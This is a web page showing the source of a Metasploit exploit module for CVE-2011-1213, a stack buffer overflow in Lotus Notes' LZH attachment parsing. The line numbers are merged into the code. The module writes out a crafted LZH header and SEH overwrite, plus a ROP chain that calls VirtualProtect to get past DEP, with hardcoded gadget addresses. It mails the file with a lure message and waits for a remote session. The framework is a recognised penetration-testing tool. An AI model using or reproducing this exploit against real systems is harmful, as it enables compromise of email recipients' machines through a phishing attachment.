Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/lotus/lotusnotes_lzh.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking # needs client interaction and permanent listener78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver12include Msf::Exploit::Remote::Seh1314def initialize(info = {})15super(update_info(info,16'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',17'Description' => %q{18This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when19parsing a malformed, specially crafted LZH file. This vulnerability was20discovered binaryhouse.net2122},23'License' => MSF_LICENSE,24'Author' =>25[26'binaryhouse.net', # original discovery27'alino <26alino[at]gmail.com>', # Metasploit module28],29'References' =>30[31['CVE', '2011-1213'],32['OSVDB', '72706'],33['BID', '48018'],34['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],35['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],36],37'Stance' => Msf::Exploit::Stance::Passive,38'DefaultOptions' =>39{40'EXITFUNC' => 'process',41},42'Platform' => ['win'],43'Targets' =>44[45[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',46{47'Offset' => 6741,48'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll49}50],5152[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',53{54'Offset' => 6745,55'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll56}57],58],59'DisclosureDate' => '2011-05-24',60'DefaultTarget' => 0))6162register_options(63[64#65# Email options66#67OptString.new('FILENAME',68[false, 'Sets the attachment file name', 'data.lzh']),69OptString.new('MESSAGE',70[false, 'Email message text', 'Important message, please view attachment!'])71])72register_advanced_options(73[74OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),75OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])76])77end7879def exploit8081header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF682header << "\x1a" # 1 byte Header checksum83header << "-lh0-" # Method ID (No compression)84header << "\x7c\x1a\x00\x00" # Compressed file size85header << "\x7c\x1a\x00\x00" # Uncompressed file size86header << "\xB2\x5e\xab\x3c" # Original file date/time87header << "\x20" # File attribute88header << "\x00" # Level identifier89header << "\x07" # File name length90header << "poc.txt" # File name91header << "\x25\x7d" # 16 bit CRC of the uncompressed file9293lzh = header94lzh << rand_text(target['Offset'])9596if (target == targets[0])9798lzh << generate_seh_record(target.ret)99lzh << make_nops(8)100lzh << payload.encoded101102elsif (target == targets[1])103104rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll105106rop_gadgets =107[1080x60524404, # POP EAX; RETN nnotes.dll1090x7c37a140, # VirtualProtect()1100x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll1110x603c53c1, # MOV ESI,EAX; RETN nnotes.dll1120x60620001, # POP EBP; RETN nnotes.dll1130x7c3c5946, # PUSH ESP; RETN MSVCP71.dll1140x7c34280f, # POP EBX; RETN MSVCR71.dll1150x00001954, # dwSize1160x780ea001, # POP ECX; RETN MSVCP60.dll1170x7c38b000, # lpflOldProtect1180x60e73200, # POP EDI; RETN nnotes.dll1190x60e73201, # RETN nnotes.dll1200x601d5f02, # POP EDX; RETN nnotes.dll1210x00000040, # flNewProtect1220x60524404, # POP EAX; RETN nnotes.dll1230x90909090, # NOP1240x60820801, # PUSHAD; RETN nnotes.dll125].pack("V*")126127lzh << [target.ret].pack('V')128lzh[32, rop_nop.length] = rop_nop129lzh[220, rop_gadgets.length] = rop_gadgets130lzh[289, payload.encoded.length] = payload.encoded131end132133name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"134data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)135136msg = Rex::MIME::Message.new137msg.mime_defaults138msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)139msg.to = datastore['MAILTO']140msg.from = datastore['MAILFROM']141142msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")143msg.add_part_attachment(lzh, name)144145send_message(msg.to_s)146147print_status("Waiting for a payload session (backgrounding)...")148149if not datastore['ExitOnSession'] and not job_id150fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")151end152153stime = Time.now.to_f154print_status "Starting the payload handler..."155while(true)156break if session_created? and datastore['ExitOnSession']157break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )158159select(nil,nil,nil,1)160end161end162end163164165